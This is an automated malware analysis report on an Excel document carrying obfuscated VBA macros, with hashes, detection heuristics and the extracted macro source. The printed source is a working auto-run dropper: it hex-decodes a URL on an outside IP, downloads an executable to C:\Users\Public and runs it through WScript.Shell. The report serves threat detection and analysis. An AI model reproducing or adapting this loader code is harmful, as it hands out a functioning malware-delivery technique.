Office (OOXML) malware analysis — malicious · a979468a630cd636

MALICIOUS

Office (OOXML)

78.5 KB First seen: 2020-09-07

MD5: 37b8d3ea2558d3c41f0f4e8c9151708f SHA-1: 4f5e96853994e623cfdb4248deaccdad869c14d4 SHA-256: a979468a630cd6363538edb3060e347367a00d5258ffe50d93c698764a48553d

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open subroutine triggers the execution of a macro that downloads a file from the URL "http://185.172.110.210/focm/ceold.exe" and saves it to disk, likely for execution. This behavior is consistent with a macro-based downloader.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro.write zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6599 bytes
SHA-256: `826a47403e5ed65ad62bf7116c4b6b36d7892fd74832b568bf9529aa56f6d481`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select pgzvcibyiwuvmugignnrxjobzcrebsrrvbqfhowbtahsyhmimxftmdjfrxwaqxwqedzldaasqmywcwdspjrdmyerrlnjswkveqnu"68 74 74 70 3A 2F 2F 31 38 35 2E 31 37 32 2E 31 31 30 2E 32 31 30 2F 66 6F 63 6D 2F 63 65 65 6F 6C 64 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub pgzvcibyiwuvmugignnrxjobzcrebsrrvbqfhowbtahsyhmimxftmdjfrxwaqxwqedzldaasqmywcwdspjrdmyerrlnjswkveqnu (vqpxcdjzrzgjossluiddkmzsmqmwkoxhpbqehixmdtnxssjcsufxkjoirxlmrmoccztmbndlkrarybaugjdqjzxgnhmkxlvqekvs As String) Dim zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb Range("A6:J13").Select Dim nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro Range("A6:J13").Select Dim jwiirxdbzlfrxpzjcohjboykqucgznzqmkdqpznkrxzhuxfskmnboimuxxrwuwbmlpemmitcbwseoqqtpkwnaycexisshrpuvmvf Range("A6:J13").Select Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set jwiirxdbzlfrxpzjcohjboykqucgznzqmkdqpznkrxzhuxfskmnboimuxxrwuwbmlpemmitcbwseoqqtpkwnaycexisshrpuvmvf = CreateObject(hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) ygqvnbjuwyiirlevxjdbctbnifdcjdqbxrosrhtqqlrhixeyahomrzseedmiyglshgkawmeqpnlqctelbecbpejyyjnovlskazzb = hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld(vqpxcdjzrzgjossluiddkmzsmqmwkoxhpbqehixmdtnxssjcsufxkjoirxlmrmoccztmbndlkrarybaugjdqjzxgnhmkxlvqekvs) mdbndywencckyagtejdcxmcnzqvevbpcudzxdoxrifkvgcqueygrvxeabooncrjmmzqubjqpllusbggxzbawvygwzyvpakoqvyjh = hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6F 6C 6C 67 75 79 67 6E 7A 2e 65 78 65") lvsviqfkdlyvhqnbrmqosuvcnbpbxdwcxzmeieoetwtnzahjxnyjhuoqzpigbemzpwxidjsnxmuvbicmufdjenuclvetwhdpjtxd = hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6F 6C 6C 67 75 79 67 6E 7A 2e 65 78 65") zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb.Open chr(71) + chr(69) + chr(84), ygqvnbjuwyiirlevxjdbctbnifdcjdqbxrosrhtqqlrhixeyahomrzseedmiyglshgkawmeqpnlqctelbecbpejyyjnovlskazzb, False zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb.send nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro.Type = 1 nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro.Open nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro.write zwbfqtmsjxkqxrfhiytcbnytatozwjmnghukhyzpnewqxwmgfnifrsrlxiewemwakwjqwvakyepxqivdgitjbhwnpjmztdkahvgb.responseBody nwjkmxgndtupmbpwtnzdzvaniaqvtopvcuqkyjwdajkwownsnohuwcbrvwbmhktoeznrkfxjrvcplezmmxiehuyztzochkvpqvro.savetofile mdbndywencckyagtejdcxmcnzqvevbpcudzxdoxrifkvgcqueygrvxeabooncrjmmzqubjqpllusbggxzbawvygwzyvpakoqvyjh, 2 jwiirxdbzlfrxpzjcohjboykqucgznzqmkdqpznkrxzhuxfskmnboimuxxrwuwbmlpemmitcbwseoqqtpkwnaycexisshrpuvmvf.Run lvsviqfkdlyvhqnbrmqosuvcnbpbxdwcxzmeieoetwtnzahjxnyjhuoqzpigbemzpwxidjsnxmuvbicmufdjenuclvetwhdpjtxd End Sub Public Function hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld(ByVal ssfbskzrpighgygkaomnmaoepbujgxibvlaweuupzkppblljkfuhaissebmrpplrzelvyjfftwockyceqlzadbbnthsdidajzxpx As String) As String Dim apkaaonduqhfziaeqknycycqrcxqwfdnjedaayapnytdamdacwsojqucnujxqxgpnuwueadsjyleezqeyxnamodskbmgodypreqg As String Dim qjvcszflfqxoeeztjfcyqdkcnwdgavmajjnoblhnismteyckdfglcrpnztpwvylkdwfuqksyyoqxqqxoutcvpayrtaphvlrkhcpi As String Dim shttmhnnbrwivabbwqvdxnaqukdmxfqnapwmzjihnlqcdgmvjporhmkfhdzceaqvbiigeocminqmwymnyichrzgofqfwjfdmvvav As Long For shttmhnnbrwivabbwqvdxnaqukdmxfqnapwmzjihnlqcdgmvjporhmkfhdzceaqvbiigeocminqmwymnyichrzgofqfwjfdmvvav = 1 To Len(ssfbskzrpighgygkaomnmaoepbujgxibvlaweuupzkppblljkfuhaissebmrpplrzelvyjfftwockyceqlzadbbnthsdidajzxpx)Step 3 apkaaonduqhfziaeqknycycqrcxqwfdnjedaayapnytdamdacwsojqucnujxqxgpnuwueadsjyleezqeyxnamodskbmgodypreqg = Chr$(Val("&H" & Mid$(ssfbskzrpighgygkaomnmaoepbujgxibvlaweuupzkppblljkfuhaissebmrpplrzelvyjfftwockyceqlzadbbnthsdidajzxpx, shttmhnnbrwivabbwqvdxnaqukdmxfqnapwmzjihnlqcdgmvjporhmkfhdzceaqvbiigeocminqmwymnyichrzgofqfwjfdmvvav, 2))) qjvcszflfqxoeeztjfcyqdkcnwdgavmajjnoblhnismteyckdfglcrpnztpwvylkdwfuqksyyoqxqqxoutcvpayrtaphvlrkhcpi = qjvcszflfqxoeeztjfcyqdkcnwdgavmajjnoblhnismteyckdfglcrpnztpwvylkdwfuqksyyoqxqqxoutcvpayrtaphvlrkhcpi & apkaaonduqhfziaeqknycycqrcxqwfdnjedaayapnytdamdacwsojqucnujxqxgpnuwueadsjyleezqeyxnamodskbmgodypreqg Next shttmhnnbrwivabbwqvdxnaqukdmxfqnapwmzjihnlqcdgmvjporhmkfhdzceaqvbiigeocminqmwymnyichrzgofqfwjfdmvvav hafmxndaencuudkhgsegziusmqztbdsmjjlodfgyvdmeisppld = qjvcszflfqxoeeztjfcyqdkcnwdgavmajjnoblhnismteyckdfglcrpnztpwvylkdwfuqksyyoqxqqxoutcvpayrtaphvlrkhcpi End Function Attribute VB_Name = "dzgnvllvzsprmwmwadubbuxhe" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `409311437cf623b95b6d0f6a094ff647c0ed3d2ff607395e914f7599e3f51a1e`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 119 of 211 identifiers look randomly generated (e.g. 'dzgnvllvzsprmwmwadubbuxhe') — consistent with name-mangling obfuscation.

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